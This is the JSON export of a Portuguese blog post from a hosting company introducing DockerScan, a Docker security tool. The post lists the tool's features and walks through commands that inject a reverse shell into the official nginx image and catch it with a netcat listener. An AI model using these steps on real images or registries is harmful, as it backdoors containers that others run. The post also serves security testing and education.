{"id":12643,"date":"2018-02-14T14:54:15","date_gmt":"2018-02-14T16:54:15","guid":{"rendered":"https:\/\/king.host\/blog\/?p=12643"},"modified":"2025-09-26T14:34:57","modified_gmt":"2025-09-26T17:34:57","slug":"dockerscan-analise-e-hacking-docker","status":"publish","type":"post","link":"https:\/\/king.host\/blog\/tecnologia\/dockerscan-analise-e-hacking-docker\/","title":{"rendered":"DockerScan: an\u00e1lise e hacking para Docker"},"content":{"rendered":"<p>DockerScan \u00e9 uma ferramentas de an\u00e1lise e hacking de containers Docker, com ela \u00e9 poss\u00edvel fazer uma varredura buscando por vulnerabilidades de seguran\u00e7a e tamb\u00e9m fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.<\/p>\n<h2>Principais Funcionalidades<\/h2>\n<ul>\n<li><strong><strong>Faz scan de uma rede tentando localizar os Docker Registries<\/strong><\/strong><\/li>\n<li><strong>Registry<\/strong><br \/>&gt; Delete: Exclui image \/ tag remota<br \/>&gt; Info: Mostra informa\u00e7\u00f5es de registros remotos<br \/>&gt; Push: Envia uma imagem<br \/>&gt; Upload: Upload de arquivo<\/li>\n<li><strong>Image<\/strong><br \/>&gt; Analyze<br \/>Busca por informa\u00e7\u00f5es confidenciais em uma imagem<br \/>Busca por senhas em vari\u00e1veis de ambiente<br \/>Busca por qualquer URL \/ IP em vari\u00e1veis de ambiente<br \/>Tenta identificar o usu\u00e1rio usado para executar o software<br \/>&gt; Extract: extrair uma imagem<br \/>&gt; Info: Obt\u00e9m meta-informa\u00e7\u00e3o da imagem<br \/>&gt; Modify:<br \/>entrypoint: altere o ponto de entrada em um Docker<br \/>trojanize: injeta um reverse shell em uma imagem Docker<br \/>user: altere o usu\u00e1rio em execu\u00e7\u00e3o em uma imagem Docker<\/li>\n<\/ul>\n<h2>Instalando o DockerScan<\/h2>\n<p>Vamos ver agora como \u00e9 <strong>simples instalar<\/strong> a ferramenta <strong>DockerScan<\/strong>.<\/p>\n<p>Primeiro instale o gerenciador de pacotes da linguagem Python o pip:<br \/><code>1<\/code><code class=\"plain\">$ python3.<\/code><code class=\"value\">5<\/code> <code class=\"keyword\">-<\/code><code class=\"plain\">m pip install <\/code><code class=\"keyword\">-<\/code><code class=\"plain\">U pip<\/code><\/p>\n<p>Agora instalamos o DockerScan<br \/><code>1<\/code><code class=\"plain\">$ python3.<\/code><code class=\"value\">5<\/code> <code class=\"keyword\">-<\/code><code class=\"plain\">m pip install dockerscan<\/code><\/p>\n<p>Verifique se a instala\u00e7\u00e3o foi feita corretamente e exiba as op\u00e7\u00f5es de funcionamento:<br \/><code>1<\/code><code class=\"plain\">$ dockerscan -h<\/code><\/p>\n<h2>Exemplos de utiliza\u00e7\u00e3o<\/h2>\n<p>Agora vamos para a parte legal, por a m\u00e3o na massa, vamos ver <strong>alguns exemplos<\/strong> de como o DockerScan pode ser utilizado:<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-12646 size-full\" src=\"https:\/\/cdn-cms.king.host\/blog-hlg\/uploads\/2018\/02\/0_qxqvxwsyetsfjt8i_.gif\" alt=\"dockerscan\" width=\"670\" height=\"314\" title=\"\"><\/p>\n<p>Com o comando a baixo pode ser escaneada uma imagem para identificar poss\u00edveis vulnerabilidades:<\/p>\n<p><code>1<\/code><code class=\"plain\">$ dockerscan image info nome-da-imagem<\/code><\/p>\n<p>Seguindos os passos abaixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:<\/p>\n<pre class=\"\">\/\/Baixe a imagem oficial do nginx\n$ docker pull nginx\n\n\/\/Salve uma c\u00f3pia da imagem\n$ docker save nginx -o nginx-original\n\n\/\/Liste o conte\u00fado do diret\u00f3rio para ver se foi criada a c\u00f3pia\n$ ls -lh nginx-original\n\n\/\/Execute o seguinte comando para ver as informa\u00e7\u00f5es da imagem\n$ dockerscan image info nginx-original\n\n\/\/Execute um ifconfig para saber seu ip\n$ ifconfig\n\n\/\/Execute para injetar um reverser shell\n$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized\n\/\/Com este comando ser\u00e1 criada uma nova imagem com um reverse shell\n\n\/\/Execute em outro terminal para ficar \"ouvindo\" a porta 2222\n$ nc -v -k -l 2222\n\n\/\/Fa\u00e7a o load da imagem com vulnerabilidade\n$ docker load -i nginx-trojanized.tar\n\n\/\/Execute\n$ docker run nginx:latest<\/pre>\n<p>Um reverse shell \u00e9 um tipo de shell no qual a m\u00e1quina alvo se comunica de volta \u00e0 m\u00e1quina atacante. A m\u00e1quina atacante tem uma porta ouvinte na qual ele recebe a conex\u00e3o, que ao usar, o c\u00f3digo ou a execu\u00e7\u00e3o do comando s\u00e3o alcan\u00e7ados.<\/p>\n<p>Isso \u00e9 tudo por enquanto, no <a href=\"https:\/\/github.com\/cr0hn\/dockerscan\" target=\"_blank\" rel=\"noopener\">reposit\u00f3rio do projeto<\/a> DockerScan pode ser encontrada mais informa\u00e7\u00f5es sobre esta ferramenta, se voc\u00ea conhece outras dicas, ferramentas, ficou com alguma d\u00favida ou tem algo a contribuir, deixe um coment\u00e1rio abaixo. Obrigado pela leitura.<\/p>\n<p>Quer saber mais sobre ferramentas para Docker? Leia este outro artigo do meu colega Daniel Archer sobre como <a href=\"https:\/\/king.host\/blog\/2018\/01\/como-docker-entrou-minha-rotina\/?utm_source=lab&amp;utm_medium=post&amp;utm_term=&amp;utm_content=dockerscan&amp;utm_campaign=content-marketing\">Docker entrou para rotina dele<\/a>.<\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>DockerScan \u00e9 uma ferramentas de an\u00e1lise e hacking de containers Docker, com ela \u00e9 poss\u00edvel fazer uma varredura buscando por vulnerabilidades de seguran\u00e7a e tamb\u00e9m fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso. Principais Funcionalidades Faz scan de uma rede tentando localizar os Docker [&hellip;]<\/p>\n","protected":false},"author":285,"featured_media":12656,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1179,8],"tags":[1359],"class_list":["post-12643","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-desenvolvimento","category-tecnologia","tag-seguranca-digital"],"_links":{"self":[{"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/posts\/12643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/users\/285"}],"replies":[{"embeddable":true,"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/comments?post=12643"}],"version-history":[{"count":13,"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/posts\/12643\/revisions"}],"predecessor-version":[{"id":42394,"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/posts\/12643\/revisions\/42394"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/media\/12656"}],"wp:attachment":[{"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/media?parent=12643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/categories?post=12643"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/king.host\/blog\/wp-json\/wp\/v2\/tags?post=12643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}